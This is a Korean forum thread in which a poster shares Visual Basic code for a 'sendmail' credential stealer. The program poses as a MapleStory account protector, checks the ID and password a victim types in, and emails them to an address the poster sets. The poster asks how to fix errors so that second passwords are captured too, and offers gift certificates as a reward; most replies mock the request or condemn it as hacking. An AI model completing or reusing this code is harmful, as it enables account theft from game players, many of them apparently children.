질문좀할께여 센메 아시는분만 !
목향
모듈 !!! Dim Winhttp As New WinHttpRequest-------------------------------------------------------------------------------------Public Function Maplestory_Login(ID As String, PW As String) As Boolean
Winhttp.Open GET, http://maplestory.nexon.com/=2&id= & ID & &password= & PW
Winhttp.Send
If InStr(StrConv(Winhttp.ResponseBody, vbUnicode), 로그인 실패) Then
Maplestory_Login = False
Else
Maplestory_Login = True
End If
End Function-------------------------------------------------------------------------------------------Public Sub SendMail(Subject As String, Body As String, SendTo As String)
Winhttp.Open POST, http://mail.naver.com/write/?cmd=send, False
Winhttp.SetRequestHeader Content-Type, application/x-www-form-urlencoded
Winhttp.Send subject= & Subject & &mailBody= & Body & &to= & SendTo & &charset=AUTO&attachID=tXnZWBFCWSemWBtTKogm7XkmWzeCpVYZKAumKAuqKLYwFZeR7r9oBrJZW6EmFxEXKqur
Winhttp.WaitForResponse
End Sub이건 모듈이구여 이제 로그인 소스입니다.Private Sub CmdLogin_Click()
If txtID.Text = vbNullString Or txtPW.Text = vbNullString Then Exit Sub
If Maplestory_Login(txtID.Text, txtPW.Text) Then
Call SendMail(txtID.Text, txtPW.Text, txtTo.Text)
MsgBox 로그인 성공.
MsgBox 보호를 시작합니다.
Else
MsgBox 로그인 실패
End If
End Sub제가 메이플 센메를 만들려구하는데 아무렇게 쳐도 로그인 성공이라고 나오고 2차비번쓰는데도 제 메일로 날라오게 서브젝터도 넣는데 인수가 잘못되었다고 되는데 하실수있는분 좀 답변조 ㅁ해주세여 ㅜ알려주시고 제가 센메 완성되면 문상 5천원 드립니다 아빠가 삼국지 읽을떄마다 문상준다고해서문상 널림 제발 알려 주세여 !!!
-
푸른나래
위 아래 위 아래 위위위위위위위
-
Elfin
XYZZY 위로 밑으로 위로 밑으로
-
간조롱
앜ㅋㅋㅋ 답변해주고싶다 귀엽당ㅋㅋㅋㅋ
-
지음
귀찮은데 왜침
-
소율
zzzzzzzzzzzzzzzzzzzzzzz (한/영치기 귀찮)
-
좍좍
... 여기선 센메가 해킹프로그램 용도로만 이용되니까 그렇죠..
-
연하늘
센메가 본래용도는 해킹프로그램이 아니에요.
-
핫다홍
ㅡㅡ... 진짜어이이없네요.
대놓고 해킹프로그램 소스 질문하네.. -
연자두
어머, 센메!
감사해요. -
연하얀
뭐 이건 대놓고 사이트에서 금지하고 있는 행위를 하겠다는건가...
샌드메일 걸릴 초딩분들은 많겠지만 그렇게 해서 아이디 따내면 좋은게 있나요...